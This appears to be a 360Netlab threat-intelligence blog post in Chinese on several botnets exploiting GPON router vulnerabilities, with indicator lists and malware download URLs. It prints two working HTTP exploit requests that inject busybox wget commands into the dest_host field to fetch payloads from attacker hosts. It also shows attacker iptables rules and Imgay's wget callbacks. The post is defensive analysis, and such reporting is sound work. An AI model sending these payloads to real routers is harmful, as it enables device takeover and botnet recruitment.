GPON 漏洞的在野利用(三)——Mettle、Hajime、Mirai、Omni、Imgay、TheMoon

本文由 Hui Wang、LIU Ya、RootKiter、yegenshen 共同撰写。

[更新 2018-05-21 17:30]

这场GPON的聚会看起来永远不会结束了,现在 TheMoon 僵尸网络家族也开始加入了。文中增加了相关的描述。特别值得说明的,TheMoon僵尸网络所使用的攻击漏洞此前并没有批露过,看起来像是个 0day,我们选择不公开攻击载荷的详细内容。另外我们选择了两个版本的 GPON 家用路由器,TheMoon使用的攻击载荷均能成功运行。

我们在之前的系列文章 里提及,在本次GPON漏洞(CVE-2018-10561,CVE-2018-10562)公布以来,10天内已经有至少5个僵尸网络家族在积极利用该漏洞构建其僵尸军团,包括 mettle、muhstik、mirai、hajime、satori,等等。这些各路僵尸网络一拥而上,争抢地盘,w为 IoT 僵尸网络研究者们提供了一个绝佳的近距离观察机会。

在我们的观察中,一个有趣的地方是各僵尸网络的漏洞利用代码均只能影响一小部分(估计大约 2%) GPON 家用路由器。如此一来,最终被控制的设备数量大大减少,广大 GPON 家用路由器用户暂且躲过一劫。但是管理员们仍需保持警惕,在现有条件下,各恶意代码团伙正保持积极的开发活动,其代码修正只需要很短的时间。

我们360网络安全研究院在保持观察的同时,也与安全社区一起,采取了行动抑制 muhstik 僵尸网络的扩散。但是 muhstik 恶意代码团伙并不愿意轻易放弃,他们一次次尝试卷土重来。后续发展,还请读者拭目以待。

在本篇文章里,我们会依次介绍其他的僵尸网络:

  • Mettle:一个恶意代码团伙,基于在越南的IP地址 (C2 210.245.26.180:4441,scanner 118.70.80.143)和mettle开源控制模块
  • HajimeHajime的本次更新也包含了 GPON 本次的漏洞利用
  • 两个Mirai变种:至少两个恶意代码团伙正在积极利用该漏洞传播mirai变种。其中第二个,已经被称为 omni
  • Imgay:这看起来是一个正在开发中的僵尸网络,我们只观察到了下载行为,没有看到后续动作。
  • TheMoon: TheMoon 家族我们在之前的 文章 中提到过。该恶意代码家族至少在2014年就开始活跃,当时针对Linksys E1000 系列路由器,并在后续持续发展。从2017年开始,该恶意代码继续集成了至少 6 种6 种 IoT 设备漏洞利用手段。现在,2018-05-21,TheMoon家族加入了 GPON 设备的争夺大战。

Mettle

mettle,这个恶意代码团伙的C2,如我们之前提及,在这一波的攻击中,短暂出现后就下线了。这个恶意代码团伙的特征包括:

  • 扫描器IP : 118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology"
  • C2服务器: 210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology"
  • 下载服务器:利用了上述C2服务器的 80 端口
  • 恶意软件(下载器)样本hash: 8e2c6a92a024f8b8bb3c086b86fa50f9
  • 上述下载器会下载开源渗透测试工具mettle,一个metasploit的衍生版本,随后目标设备会被C2服务器远程控制

另外,当完成漏洞利用后,控制者还会修改 Gpon 路由器原有iptables 规则,封堵 TCP 80 和 443 端口流量。通常可以认为这是恶意代码在试图阻止其他恶意代码的进入。部分 iptables 规则如下示例:

-A ACL -p tcp -m tcp --dport 80 -j DROP
-A ACL -p tcp -m tcp --dport 23 -j DROP
-A ACL -p tcp -m tcp --dport 22 -j DROP
-A ACL -p tcp -m tcp --dport 21 -j DROP 
-A ACL -p tcp -m tcp --dport 443 -j DROP

我们并未直接观察到 mettle 的攻击载荷,但是我们注意到该IP地址在历史曾经与其他恶意代码相关。有兴趣的读者可以尝试继续展开搜索。

Hajime

Hajime 家族本次更新的特征包括:

  • 文件名:atk.mipseb.1525838286
  • 原始Hash: 8CCA32FB1FE4826007B087B4AEE20941
  • 脱壳前Hash: ED1306E24196533553571D5433312A2D
  • 脱壳后Hash: E06E1E7993EA310CE0FBA9DD76CDF377
  • 端口目标:23,80,8080
  • 新的 Payload(GPON):hxxps://www.exploit-db.com/exploits/44576/

该样本中的GPON漏洞利用代码截图如下:

更新后的 atk.mpseb 模块可以同时对 TCP 23,80,8080 发起扫描:

Mirai 变种 1

该mirai变种的特征包括:

  • 扫描器IP : 46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V."
  • C2服务器: 46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V."
  • 下载服务器:共用了上述IP地址的 80 端口
  • 恶意软件样本hash: c6dc9f7cf09a267fefe53c5c481e7ea0

所使用的攻击载荷如下:

POST /GponForm/diag_Form?images/ HTTP/1.1  
User-Agent: curl/7.19.7 (x86_64-redhat-linux-gnu) libcurl/7.19.7 NSS/3.27.1 zlib/1.2.3 libidn/1.18 libssh2/1.4.2  
Host: {target}  
Accept: */*  
Content-Length: 138  
Content-Type: application/x-www-form-urlencoded

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://46.243.189.102/`;busybox+wget+hxxp://46.243.189.102/&ipv=0  

这个mirai变种对应的 C2 服务器已经长期被我们监控。这个C2会发出DDoS攻击指令,并且比较活跃。我们首次监控到其发出DDoS攻击指令的时间是 2018-01-26 13:10:20。下图是其每日发出的攻击指令的条数变化曲线:

受害者方面,由于其攻击指令较多,我们仅列出部分流行的站点,包括:check-host.net,incapsula.com,moz.com,opskins.com,pastebin.com,roblox.com,seznam.cz,store.playstation.com,www.kinguin.net,等等。

Mirai 变种 2 - Omni

newskysecurity 的研究员已经将该变种命名为 omni,其描述与我们的观察比较一致。

在本轮攻击中,omni使用的攻击载荷是:

POST /GponForm/diag_Form?images/ HTTP/1.1  
Host: {target}  
Content-Length: 120  
User-Agent: python-requests/2.6.0 CPython/2.7.5 Linux/4.4.127-mainline-rev1  
Connection: keep-alive  
Accept: */*  
Accept-Encoding: gzip, deflate

XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+hxxp://185.246.152.173/omni+-O+/tmp/talk`&ipv=0  

该僵尸网络的特征包括:

  • 下载服务器 URL :hxxp://185.246.152.173/omni
  • C2 服务器:185.246.152.173:1000
  • Scanner IP 地址:51.15.106.135

历史上该C2就传播过多个mirai变种,包括owari、xOwari、s-owari、sora、omni。并且该C2编译的mirai变种支持多种CPU架构,除了通常 mirai 变种都支持的 arm、mips、mpsl、mipsl、x86、spc之外,还支持了之前社区广泛关注的 arc CPU架构。

另外一个有趣的地方是该僵尸网络对外界传递的两条信息。一条信息保存在该服务器上(hxxp://185.246.152.173/meme)。当前该URL已经不可访问,其历史截图如下。图片主体由知名安全博客博主 brian krebs 的头像与电影《黑客帝国》剧照合并而成:

页面的文字内容如下。其中包含一个邮件地址 krebsonsecurity@gamil.com,注意这并非是 Brian Krebs 本人的邮箱地址。

Hey you, stop right there!  
Want your router fixed? No problem! Send an email to krebsonsecurity@gamil.com and we will have it fixed asap!  
~ scarface is your daddy ~

另一条信息保存在样本中,留下了一个twitter帐号 @1337Wicked :

md5hash: 5A8F7B3E3A981BBDD42AEE4DA6EEAAB8  
message: Botnet officially ran by Ankit Anubhav and hosted on newskysecurity.com [If your reversing this follow @1337Wicked on twitter  

Imgay

Imgay 是另外一个僵尸网络,其传播的恶意代码 URL 如下:

hxxp://149.28.96.126/imgay  

该恶意代码会访问如下地址,但之后该恶意代码就结束了,没有看到后续活动。

wget hxxp://149.28.96.126/loaded/killy > /dev/null 2>&1  
wget hxxp://149.28.96.126/pid_max/%s > /dev/null 2>&1  
wget hxxp://149.28.96.126/pid_max/default > /dev/null 2>&1  
wget hxxp://149.28.96.126/killed/%i > /dev/null 2>&1  

The Moon 僵尸网络家族

关于该僵尸网络可以阅读我们之前的 文章 。由于我们之前提过,TheMoon使用的这个漏洞一定程度上可以算过 0day,各管理员需要特别注意该家族。出于避免漏洞扩散的原因,我们暂时不会公开这个攻击载荷的详细信息。

该恶意家族的特征包括:

  • Scanner IP: 177.141.64.108 Brazil/BR São Paulo "AS28573 CLARO S.A."
  • 扫描端口:80,8080,81,82,8888
  • 下载服务器:domstates.su ,我们使用该域名将本次攻击与 TheMoon 家族联系起来

攻击载荷

POST /--------/--------?---------/ HTTP/1.1  
Accept: */*  
Host: {}  
User-Agent: Wget(linux)  
Content-Length: 287  
Content-Type: application/x-www-form-urlencoded  
-------------------------------------------------------------
hxxp://domstates.su/gpon.sh  

联系我们

感兴趣的读者,可以在 twitter 或者在微信公众号 360Netlab 上联系我们。

Ioc

Mettle

118.70.80.143 Vietnam/VN Hanoi "AS18403 The Corporation for Financing & Promoting Technology" scanner IP  
210.245.26.180:4441 Vietnam/VN Ho Chi Minh City "AS18403 The Corporation for Financing & Promoting Technology" c2  
8e2c6a92a024f8b8bb3c086b86fa50f9  malware hash  

Hajime

atk.mipseb.1525838286   file name  
8CCA32FB1FE4826007B087B4AEE20941  hash original  
ED1306E24196533553571D5433312A2D  hash before unpack  
E06E1E7993EA310CE0FBA9DD76CDF377  hash after unpack  

Mira variant #1

46.243.189.60 Netherlands/NL "AS205406 Hostio Solutions B.V." scanner IP  
46.243.189.102:127 Netherlands/NL "AS205406 Hostio Solutions B.V." C2 ip  
c6dc9f7cf09a267fefe53c5c481e7ea0   malware hash  

Omni

185.246.152.173:1000 Netherlands/NL "AS56630 Melbikomas UAB" C2  
51.15.106.135 France/FR    "AS12876 Online S.a.s."   scanner IP  
hxxp://185.246.152.173/omni malware download URL  

Omni 的历史恶意代码下载链接

hxxp://185.246.152.173:80/bins/spc.omni  
hxxp://185.246.152.173:80/bins/sora.spc  
hxxp://185.246.152.173:80/bins/sora.sh4  
hxxp://185.246.152.173:80/bins/sora.arm6  
hxxp://185.246.152.173:80/bins/sora.arm5  
hxxp://185.246.152.173:80/bins/s-owari.spc  
hxxp://185.246.152.173:80/bins/s-owari.mpsl  
hxxp://185.246.152.173:80/bins/s-owari.m68k  
hxxp://185.246.152.173:80/bins/s-owari.arm  
hxxp://185.246.152.173:80/bins/s-owari.arm7  
hxxp://185.246.152.173:80/bins/s-owari.arc  
hxxp://185.246.152.173:80/bins/owari.x86  
hxxp://185.246.152.173:80/bins/owari.spc  
hxxp://185.246.152.173:80/bins/owari.mpsl  
hxxp://185.246.152.173:80/bins/owari.mips  
hxxp://185.246.152.173:80/bins/owari.i586  
hxxp://185.246.152.173:80/bins/owari.arm  
hxxp://185.246.152.173:80/bins/owari.arm7  
hxxp://185.246.152.173:80/bins/owari.arm5  
hxxp://185.246.152.173:80/bins/owari.arm4  
hxxp://185.246.152.173:80/bins/mpsl.omni  
hxxp://185.246.152.173:80/bins/mips.owari  
hxxp://185.246.152.173:80/bins/mips.omni  
hxxp://185.246.152.173:80/bins/arm7.omni  
hxxp://185.246.152.173:80/bins/arm6.omni  
hxxp://185.246.152.173:80/bins/arc.omni  
hxxp://185.246.152.173:80/bins/Owari.x86  
hxxp://185.246.152.173:80/bins/Owari.spc  
hxxp://185.246.152.173:80/bins/Owari.sh4  
hxxp://185.246.152.173:80/bins/Owari.mpsl  
hxxp://185.246.152.173:80/bins/Owari.mips1  
hxxp://185.246.152.173:80/bins/Owari.m68k  
hxxp://185.246.152.173:80/bins/Owari.arm7  
hxxp://185.246.152.173:80/bins/Owari.arm6  
hxxp://185.246.152.173/xOwari.sh  
hxxp://185.246.152.173/bins/x86.omni  
hxxp://185.246.152.173/bins/scan.x86  
hxxp://185.246.152.173/bins/s-owari.ppc  
hxxp://185.246.152.173/bins/s-owari.mpsl  
hxxp://185.246.152.173/bins/s-owari.arm  
hxxp://185.246.152.173/bins/s-owari.arm7  
hxxp://185.246.152.173/bins/owari.spc  
hxxp://185.246.152.173/bins/owari.sh4  
hxxp://185.246.152.173/bins/owari.mips  
hxxp://185.246.152.173/bins/owari.m68k  
hxxp://185.246.152.173/bins/owari.arm  
hxxp://185.246.152.173/bins/owari.arm7  
hxxp://185.246.152.173/bins/nocpu.x86  
hxxp://185.246.152.173/bins/nocpu.mips  
hxxp://185.246.152.173/41ai.sh  

TheMoon

md5=17fb1bfae44a9008a4c9b4bdc6b327bd    url=hxxp://domstates.su/.nttpd,1-mips-be-t3-z  
md5=299919e8a5b4c8592db0c47207935b69    url=hxxp://domstates.su/gpon.sh